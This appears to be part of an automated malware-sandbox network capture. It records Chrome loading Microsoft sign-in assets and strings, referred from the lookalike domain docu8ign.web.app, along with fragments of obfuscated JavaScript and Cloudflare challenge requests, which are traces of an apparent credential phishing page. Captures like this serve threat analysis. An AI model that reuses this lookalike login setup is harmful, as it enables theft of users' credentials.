2024-09-27 06:18:40 UTC	1369	IN	Data Raw: 28 31 36 36 29 5d 28 48 2c 52 29 7c 7c 28 48 5b 52 5d 3d 4c 2b 2b 2c 49 5b 52 5d 3d 21 30 29 2c 53 3d 4a 2b 52 2c 4f 62 6a 65 63 74 5b 61 32 28 31 36 37 29 5d 5b 61 32 28 31 35 35 29 5d 5b 61 32 28 31 36 36 29 5d 28 48 2c 53 29 29 4a 3d 53 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 61 32 28 31 36 37 29 5d 5b 61 32 28 31 35 35 29 5d 5b 61 32 28 31 36 36 29 5d 28 49 2c 4a 29 29 7b 69 66 28 32 35 36 3e 4a 5b 61 32 28 32 31 34 29 5d 28 30 29 29 7b 66 6f 72 28 47 3d 30 3b 47 3c 4d 3b 4f 3c 3c 3d 31 2c 50 3d 3d 45 2d 31 3f 28 50 3d 30 2c 4e 5b 61 32 28 31 34 38 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 47 2b 2b 29 3b 66 6f 72 28 54 3d 4a 5b 61 32 28 32 31 34 29 5d 28 30 29 2c 47 3d 30 3b 38 3e 47 3b 4f 3d 31 2e 36 31 26 54 7c 4f 3c 3c 31 2c 45 Data Ascii: (166)](H,R)\|\|(H[R]=L++,I[R]=!0),S=J+R,Object[a2(167)][a2(155)][a2(166)](H,S))J=S;else{if(Object[a2(167)][a2(155)][a2(166)](I,J)){if(256>J[a2(214)](0)){for(G=0;G<M;O<<=1,P==E-1?(P=0,N[a2(148)](F(O)),O=0):P++,G++);for(T=J[a2(214)](0),G=0;8>G;O=1.61&T\|O<<1,E
2024-09-27 06:18:40 UTC	1369	IN	Data Raw: 27 27 29 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 44 2c 61 33 29 7b 72 65 74 75 72 6e 20 61 33 3d 61 30 2c 6e 75 6c 6c 3d 3d 44 3f 27 27 3a 27 27 3d 3d 44 3f 6e 75 6c 6c 3a 42 2e 69 28 44 5b 61 33 28 31 39 35 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 45 2c 61 34 29 7b 72 65 74 75 72 6e 20 61 34 3d 61 33 2c 44 5b 61 34 28 32 31 34 29 5d 28 45 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 44 2c 45 2c 46 2c 61 35 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 2c 50 2c 51 2c 52 2c 54 2c 53 29 7b 66 6f 72 28 61 35 3d 61 30 2c 47 3d 5b 5d 2c 48 3d 34 2c 49 3d 34 2c 4a 3d 33 2c 4b 3d 5b 5d 2c 4e 3d 46 28 30 29 2c 4f 3d 45 2c 50 3d 31 2c 4c 3d 30 3b 33 3e 4c 3b 47 5b 4c 5d 3d 4c 2c 4c 2b 3d 31 29 3b 66 6f 72 28 51 3d 30 2c 52 3d 4d Data Ascii: '')},'j':function(D,a3){return a3=a0,null==D?'':''==D?null:B.i(D[a3(195)],32768,function(E,a4){return a4=a3,D[a4(214)](E)})},'i':function(D,E,F,a5,G,H,I,J,K,L,M,N,O,P,Q,R,T,S){for(a5=a0,G=[],H=4,I=4,J=3,K=[],N=F(0),O=E,P=1,L=0;3>L;G[L]=L,L+=1);for(Q=0,R=M
2024-09-27 06:18:40 UTC	1369	IN	Data Raw: 61 61 3d 56 2c 6e 75 6c 6c 3d 3d 3d 43 7c 7c 76 6f 69 64 20 30 3d 3d 3d 43 29 72 65 74 75 72 6e 20 45 3b 66 6f 72 28 47 3d 76 28 43 29 2c 42 5b 61 61 28 32 31 30 29 5d 5b 61 61 28 32 30 38 29 5d 26 26 28 47 3d 47 5b 61 61 28 32 31 32 29 5d 28 42 5b 61 61 28 32 31 30 29 5d 5b 61 61 28 32 30 38 29 5d 28 43 29 29 29 2c 47 3d 42 5b 61 61 28 32 31 36 29 5d 5b 61 61 28 32 31 35 29 5d 26 26 42 5b 61 61 28 32 32 31 29 5d 3f 42 5b 61 61 28 32 31 36 29 5d 5b 61 61 28 32 31 35 29 5d 28 6e 65 77 20 42 5b 28 61 61 28 32 32 31 29 29 5d 28 47 29 29 3a 66 75 6e 63 74 69 6f 6e 28 4d 2c 61 62 2c 4e 29 7b 66 6f 72 28 61 62 3d 61 61 2c 4d 5b 61 62 28 31 38 38 29 5d 28 29 2c 4e 3d 30 3b 4e 3c 4d 5b 61 62 28 31 39 35 29 5d 3b 4d 5b 4e 5d 3d 3d 3d 4d 5b 4e 2b 31 5d 3f 4d 5b 61 Data Ascii: aa=V,null===C\|\|void 0===C)return E;for(G=v(C),B[aa(210)][aa(208)]&&(G=G[aa(212)](B[aa(210)][aa(208)](C))),G=B[aa(216)][aa(215)]&&B[aa(221)]?B[aa(216)][aa(215)](new B[(aa(221))](G)):function(M,ab,N){for(ab=aa,M[ab(188)](),N=0;N<M[ab(195)];M[N]===M[N+1]?M[a
2024-09-27 06:18:40 UTC	1369	IN	Data Raw: 28 31 34 32 29 5d 3f 67 5b 61 65 28 31 34 32 29 5d 28 61 65 28 32 32 30 29 2c 42 29 3a 28 43 3d 67 5b 61 65 28 31 34 33 29 5d 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 67 5b 61 65 28 31 34 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 61 67 29 7b 61 67 3d 61 65 2c 43 28 29 2c 67 5b 61 67 28 31 35 34 29 5d 21 3d 3d 61 67 28 31 37 33 29 26 26 28 67 5b 61 67 28 31 34 33 29 5d 3d 43 2c 42 28 29 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 63 2c 64 2c 59 2c 42 2c 43 29 7b 59 3d 56 2c 42 3d 7b 27 77 70 27 3a 6c 5b 59 28 31 34 34 29 5d 28 4a 53 4f 4e 5b 59 28 31 39 39 29 5d 28 64 29 29 2c 27 73 27 3a 59 28 31 38 39 29 7d 2c 43 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 28 29 2c 43 5b 59 28 32 34 32 29 5d 28 59 28 31 36 38 29 2c 59 28 31 37 36 29 2b 66 Data Ascii: (142)]?g[ae(142)](ae(220),B):(C=g[ae(143)]\|\|function(){},g[ae(143)]=function(ag){ag=ae,C(),g[ag(154)]!==ag(173)&&(g[ag(143)]=C,B())})}function j(c,d,Y,B,C){Y=V,B={'wp':l[Y(144)](JSON[Y(199)](d)),'s':Y(189)},C=new XMLHttpRequest(),C[Y(242)](Y(168),Y(176)+f
2024-09-27 06:18:40 UTC	1369	IN	Data Raw: 2f 6f 76 2c 61 70 70 65 6e 64 43 68 69 6c 64 2c 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 6e 75 6d 62 65 72 2c 63 6c 69 65 6e 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 2c 69 6e 63 6c 75 64 65 73 2c 63 61 6c 6c 2c 70 72 6f 74 6f 74 79 70 65 2c 50 4f 53 54 2c 6d 61 70 2c 45 72 72 6f 72 20 6f 62 6a 65 63 74 3a 20 2c 73 74 79 6c 65 2c 70 6f 77 2c 6c 6f 61 64 69 6e 67 2c 62 69 67 69 6e 74 2c 2f 6a 73 64 2f 72 2f 2c 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 68 2f 2c 5f 63 66 5f 63 68 6c 5f 6f 70 74 3b 6d 70 55 61 4c 32 3b 46 78 4f 6e 72 33 3b 4b 55 6a 49 78 33 3b 74 6c 4c 72 4b 32 3b 59 76 50 64 36 3b 65 58 44 6c 4c 34 3b 74 50 6f 68 52 32 3b 4a 65 75 68 67 31 3b 46 72 4e 42 69 35 3b 54 4d 4d 78 35 3b 48 63 54 45 49 33 3b Data Ascii: /ov,appendChild,getPrototypeOf,number,clientInformation,includes,call,prototype,POST,map,Error object: ,style,pow,loading,bigint,/jsd/r/,/cdn-cgi/challenge-platform/h/,_cf_chl_opt;mpUaL2;FxOnr3;KUjIx3;tlLrK2;YvPd6;eXDlL4;tPohR2;Jeuhg1;FrNBi5;TMMx5;HcTEI3;
2024-09-27 06:18:40 UTC	390	IN	Data Raw: 2c 68 3d 65 5b 66 5d 2c 68 7d 2c 62 28 63 2c 64 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 58 2c 63 2c 64 2c 42 2c 43 29 7b 69 66 28 28 58 3d 56 2c 63 3d 66 5b 58 28 31 39 34 29 5d 2c 64 3d 33 36 30 30 2c 63 2e 74 29 26 26 28 42 3d 4d 61 74 68 5b 58 28 32 34 36 29 5d 28 2b 61 74 6f 62 28 63 2e 74 29 29 2c 43 3d 4d 61 74 68 5b 58 28 32 34 36 29 5d 28 44 61 74 65 5b 58 28 32 33 33 29 5d 28 29 2f 31 65 33 29 2c 43 2d 42 3e 64 29 29 72 65 74 75 72 6e 21 5b 5d 3b 72 65 74 75 72 6e 21 21 5b 5d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 63 2c 64 2c 61 36 29 7b 72 65 74 75 72 6e 20 61 36 3d 56 2c 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 63 5b 61 36 28 32 33 30 29 5d 26 26 30 3c 63 5b 61 36 28 32 33 30 29 5d 5b 61 36 28 31 36 37 29 5d 5b 61 36 28 32 30 35 29 5d 5b 61 36 28 31 Data Ascii: ,h=e[f],h},b(c,d)}function i(X,c,d,B,C){if((X=V,c=f[X(194)],d=3600,c.t)&&(B=Math[X(246)](+atob(c.t)),C=Math[X(246)](Date[X(233)]()/1e3),C-B>d))return![];return!![]}function o(c,d,a6){return a6=V,d instanceof c[a6(230)]&&0<c[a6(230)][a6(167)][a6(205)][a6(1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49737	188.114.96.3	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:40 UTC	783	OUT	GET /cdn-cgi/challenge-platform/h/g/jsd/r/8c99609c4fe34276 HTTP/1.1 Host: cnrsys.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: McbEYet2v09v_3mL4sQI2byZSN8=yvHly5o5fyP3h84K6G_T2AUi0gk; Hf0Pjp-DSxE9Av575dQ0UtIZPm4=1727417913; otTRaleSHwO5ofIElCiiijhfVFk=1727504313; meWWe2_espbdrxvUJHYxXvRB2Uo=CM76pA-ZlAOqg04ulzzxvwGM4_U; ZuEkyrklGF1CBRt5A7qtYcXb9O4=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; zEnEuj91S7R0AJxSrRV_wCsAUQA=1727417915; S-f7HVeKw3jZHc7j-xrPP51lHEE=1727504315; ZDbk1gXpcq4Sa0Y9D2ZondlRw74=xSwK5DLtLfziIvBBNjwsLzS6sts
2024-09-27 06:18:40 UTC	496	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 27 Sep 2024 06:18:40 GMT Content-Length: 0 Connection: close allow: POST Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZXLKTnD3NvmH3q%2BrR84lxrDyALoZ9B34Rs29sdUWQ2cB1BnFFlAvE%2Bt%2FFSnUcL9vr6%2FKoFU4KyJUf4x5lcItQ1VRMj1H5WDLXrx%2FWoyGZqE%2F%2FrPPc8zysNvO2UKa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9960b14d8d7285-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49739	152.199.21.175	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:40 UTC	437	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_12dabd9245715d165757.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:41 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 15870442 Cache-Control: public, max-age=31536000 Content-MD5: +lZRrDLGp8Gp/hURw2aXyQ== Content-Type: application/x-javascript Date: Fri, 27 Sep 2024 06:18:41 GMT Etag: 0x8D99FD65BAB30A3 Last-Modified: Thu, 04 Nov 2021 21:02:05 GMT Server: ECAcc (lhc/791A) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fc52c179-401e-00f7-414d-802e7d000000 x-ms-version: 2009-09-19 Content-Length: 15415 Connection: close
2024-09-27 06:18:41 UTC	15415	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49738	152.199.21.175	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:40 UTC	656	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://docu8ign.web.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:41 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 16068145 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Fri, 27 Sep 2024 06:18:41 GMT Etag: 0x8D79A1B9F5E121A Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (lhc/7936) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 91dbb46b-a01e-00e9-0b81-7e3c42000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-09-27 06:18:41 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49740	152.199.21.175	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:41 UTC	434	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en-gb.min_-hjcgqxfzfu0cwzblacdqq2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:41 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 15870442 Cache-Control: public, max-age=31536000 Content-MD5: GYbSFdLE8Xb9pCzSg7cJ6A== Content-Type: application/x-javascript Date: Fri, 27 Sep 2024 06:18:41 GMT Etag: 0x8D992B5E417004E Last-Modified: Tue, 19 Oct 2021 04:06:56 GMT Server: ECAcc (lhc/791E) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 271631a9-401e-00db-4d4d-804b57000000 x-ms-version: 2009-09-19 Content-Length: 43235 Connection: close
2024-09-27 06:18:41 UTC	16383	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 69 29 7b 69 66 28 6e 5b 69 5d 29 72 65 74 75 72 6e 20 6e 5b 69 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 74 3d 6e 5b 69 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 69 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 65 5b 69 5d 2e 63 61 6c 6c 28 74 2e 65 78 70 6f 72 74 73 2c 74 2c 74 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 74 2e 6c 6f 61 64 65 64 3d 21 30 2c 74 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 6e 3d 7b 7d 3b 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 6e 2c 6f 2e 70 3d 22 22 2c 6f 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 6e 29 7b 6e 28 32 29 3b 76 61 72 20 69 3d 6e 28 31 29 2c 74 3d 6e 28 34 29 2c 72 3d 6e 28 35 29 2c 61 3d 72 2e 53 74 72 69 6e Data Ascii: !function(e){function o(i){if(n[i])return n[i].exports;var t=n[i]={exports:{},id:i,loaded:!1};return e[i].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var n={};return o.m=e,o.c=n,o.p="",o(0)}([function(e,o,n){n(2);var i=n(1),t=n(4),r=n(5),a=r.Strin
2024-09-27 06:18:41 UTC	1	IN	Data Raw: 63 Data Ascii: c
2024-09-27 06:18:41 UTC	16383	IN	Data Raw: 61 74 65 22 2c 65 2e 43 54 5f 53 54 52 5f 43 72 65 64 65 6e 74 69 61 6c 50 69 63 6b 65 72 5f 4f 70 74 69 6f 6e 5f 45 78 69 64 3d 22 53 69 67 6e 20 69 6e 20 74 6f 20 61 6e 20 6f 72 67 61 6e 69 73 61 74 69 6f 6e 22 2c 65 2e 43 54 5f 53 54 52 5f 43 72 65 64 65 6e 74 69 61 6c 50 69 63 6b 65 72 5f 48 65 6c 70 5f 44 65 73 63 5f 45 78 69 64 3d 22 53 65 61 72 63 68 20 66 6f 72 20 61 20 63 6f 6d 70 61 6e 79 20 6f 72 20 61 6e 20 6f 72 67 61 6e 69 73 61 74 69 6f 6e 20 74 68 61 74 20 79 6f 75 e2 80 99 72 65 20 77 6f 72 6b 69 6e 67 20 77 69 74 68 2e 22 2c 65 2e 43 54 5f 53 54 52 5f 46 69 64 6f 44 69 61 6c 6f 67 5f 44 65 73 63 3d 22 53 69 67 6e 20 69 6e 20 77 69 74 68 6f 75 74 20 61 20 75 73 65 72 6e 61 6d 65 20 6f 72 20 70 61 73 73 77 6f 72 64 20 62 79 20 75 73 69 6e Data Ascii: ate",e.CT_STR_CredentialPicker_Option_Exid="Sign in to an organisation",e.CT_STR_CredentialPicker_Help_Desc_Exid="Search for a company or an organisation that youre working with.",e.CT_STR_FidoDialog_Desc="Sign in without a username or password by usin
2024-09-27 06:18:41 UTC	10468	IN	Data Raw: 4b 6d 73 69 3a 32 38 7d 2c 6f 2e 55 73 65 72 50 72 6f 70 65 72 74 79 3d 7b 55 53 45 52 4e 41 4d 45 3a 22 6c 6f 67 69 6e 22 2c 45 52 52 4f 52 5f 43 4f 44 45 3a 22 48 52 22 2c 45 52 52 5f 4d 53 47 3a 22 45 72 72 6f 72 4d 65 73 73 61 67 65 22 2c 45 58 54 5f 45 52 52 4f 52 3a 22 45 78 74 45 72 72 22 2c 45 52 52 5f 55 52 4c 3a 22 45 72 72 55 72 6c 22 2c 44 41 54 4f 4b 45 4e 3a 22 44 41 54 6f 6b 65 6e 22 2c 44 41 5f 53 45 53 4b 45 59 3a 22 44 41 53 65 73 73 69 6f 6e 4b 65 79 22 2c 44 41 5f 53 54 41 52 54 3a 22 44 41 53 74 61 72 74 54 69 6d 65 22 2c 44 41 5f 45 58 50 49 52 45 3a 22 44 41 45 78 70 69 72 65 73 22 2c 53 54 53 5f 49 4c 46 54 3a 22 53 54 53 49 6e 6c 69 6e 65 46 6c 6f 77 54 6f 6b 65 6e 22 2c 53 49 47 4e 49 4e 4e 41 4d 45 3a 22 53 69 67 6e 69 6e 4e 61 Data Ascii: Kmsi:28},o.UserProperty={USERNAME:"login",ERROR_CODE:"HR",ERR_MSG:"ErrorMessage",EXT_ERROR:"ExtErr",ERR_URL:"ErrUrl",DATOKEN:"DAToken",DA_SESKEY:"DASessionKey",DA_START:"DAStartTime",DA_EXPIRE:"DAExpires",STS_ILFT:"STSInlineFlowToken",SIGNINNAME:"SigninNa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49741	152.199.21.175	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:41 UTC	655	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://docu8ign.web.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:41 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 16120551 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Fri, 27 Sep 2024 06:18:41 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7905) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d3446af8-801e-0093-5307-7ec057000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-09-27 06:18:41 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49744	152.199.21.175	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:41 UTC	394	OUT	GET /shared/1.0/content/js/oneDs_472fa3a12b65cf387ccd.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:42 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 15870442 Cache-Control: public, max-age=31536000 Content-MD5: xAmVJ4UrtXATagLD0tDXoQ== Content-Type: application/x-javascript Date: Fri, 27 Sep 2024 06:18:41 GMT Etag: 0x8D9942E72241B02 Last-Modified: Thu, 21 Oct 2021 01:02:25 GMT Server: ECAcc (lhc/7916) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: ff04c0d5-101e-0052-5d4d-806f11000000 x-ms-version: 2009-09-19 Content-Length: 79507 Connection: close
